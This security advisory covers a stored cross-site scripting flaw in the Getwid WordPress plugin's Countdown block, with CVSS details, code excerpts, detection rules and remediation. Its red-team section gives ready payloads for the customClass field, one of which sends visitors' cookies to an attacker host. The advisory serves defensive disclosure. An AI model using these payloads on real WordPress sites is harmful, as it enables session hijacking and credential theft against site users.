CVE-2024-3588

Executive Summary

CVE-2024-3588 is a Stored Cross-Site Scripting (XSS) vulnerability in the Getwid – Gutenberg Blocks WordPress plugin, affecting all versions up to and including 2.0.7. The flaw resides in the plugin's Countdown block, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When other users (including administrators) visit the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further privilege escalation within the WordPress admin panel.

This vulnerability is particularly dangerous in multi-author WordPress environments where contributor roles are common. The lack of a vendor patch means site administrators must implement virtual patching or disable the plugin entirely.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As such, it is a supply chain risk for any WordPress site using the Getwid plugin. The plugin is not an NPM, PyPI, Go, or Ruby package, but the same supply chain principles apply: the plugin's code is trusted by the site and can introduce malicious behavior if compromised.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (XSS can affect other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (low privileges, no user interaction beyond visiting a page) and the potential for privilege escalation make this a significant threat in WordPress environments.

Deep Dive & Mechanics

The vulnerability exists in the getwid/countdown block. The block accepts user-defined attributes such as date, label, and custom_class. The plugin fails to properly sanitize and escape these attributes before rendering them in the HTML output. Specifically, the custom_class attribute is directly injected into the block's wrapper <div> without escaping, allowing an attacker to inject arbitrary HTML attributes or break out of the attribute context.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page.
2. They add a Getwid Countdown block.
3. In the block's settings, they set the custom_class attribute to a malicious payload, e.g., " onfocus="alert(1)" autofocus="true".
4. The plugin renders the block with the unsanitized attribute, resulting in HTML like: <div class="wp-block-getwid-countdown ... custom_class" onfocus="alert(1)" autofocus="true">.
5. When any user (including admins) visits the page, the injected script executes.

The root cause is insufficient input sanitization and output escaping on the custom_class attribute. The plugin should use WordPress's esc_attr() function to escape the attribute value before output.

Vulnerable vs. Patched Code

Vulnerable Code (Getwid <= 2.0.7):

// In getwid/includes/blocks/countdown.php
$custom_class = $attributes['customClass'] ?? '';
$wrapper_attributes = get_block_wrapper_attributes( [
    'class' => 'wp-block-getwid-countdown ' . $custom_class,
] );

The $custom_class is concatenated directly into the class attribute without escaping.

Patched Code (Hypothetical fix):

$custom_class = isset( $attributes['customClass'] ) ? esc_attr( $attributes['customClass'] ) : '';
$wrapper_attributes = get_block_wrapper_attributes( [
    'class' => 'wp-block-getwid-countdown ' . $custom_class,
] );

The esc_attr() function escapes the value, preventing attribute injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Getwid plugin <= 2.0.7
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Add a "Countdown" block from the Getwid block library.
4. In the block settings sidebar, locate the "Additional CSS Class(es)" field.
5. Enter the following payload: " onfocus="alert(document.cookie)" autofocus="true"
6. Publish or update the post.
7. When any user visits the post, the JavaScript executes.

Advanced Payload:

" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true"

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing the string onfocus= or autofocus= in the post content or block attributes.
• Use a Web Application Firewall (WAF) to block requests with suspicious customClass values.

Hardening:

• Disable the Getwid plugin until a patch is available.
• Restrict contributor roles from using custom HTML or block attributes.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/getwid/includes/blocks/countdown.php (vulnerable file)
• Pattern in database: Posts containing wp-block-getwid-countdown with onfocus= or autofocus= in the HTML.
• Network: Outbound requests to attacker-controlled domains from the WordPress admin or frontend.
• Logs: WordPress audit logs showing creation/editing of posts by contributors with unusual block attributes.

Detection Engineering

YARA Rule

rule Detect_Getwid_XSS_Payload {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-3588 in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3588"
    strings:
        $payload1 = "onfocus="
        $payload2 = "autofocus="
        $payload3 = "wp-block-getwid-countdown"
    condition:
        all of ($payload*) and filesize < 10MB
}

Sigma Rule

title: WordPress Getwid Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in WordPress posts via Getwid Countdown block
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - 'onfocus='
            - 'autofocus='
            - 'wp-block-getwid-countdown'
    condition: selection
falsepositives:
    - Legitimate use of autofocus attribute in other contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3588 Getwid Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"onfocus="; http_client_body; content:"autofocus="; http_client_body; reference:cve,2024-3588; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Getwid plugin until a patched version is released.
2. Review all posts created by contributors for malicious payloads.
3. Implement a Web Application Firewall (WAF) rule to block requests containing onfocus= or autofocus= in block attributes.

Long-term Fix:

• The vendor must release a patched version that properly escapes the customClass attribute using esc_attr().
• Site administrators should apply the patch as soon as it becomes available.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.
• Restrict contributor roles from using custom CSS classes in blocks via a custom plugin or theme functions.

Valters IT
Securing Digital Frontiers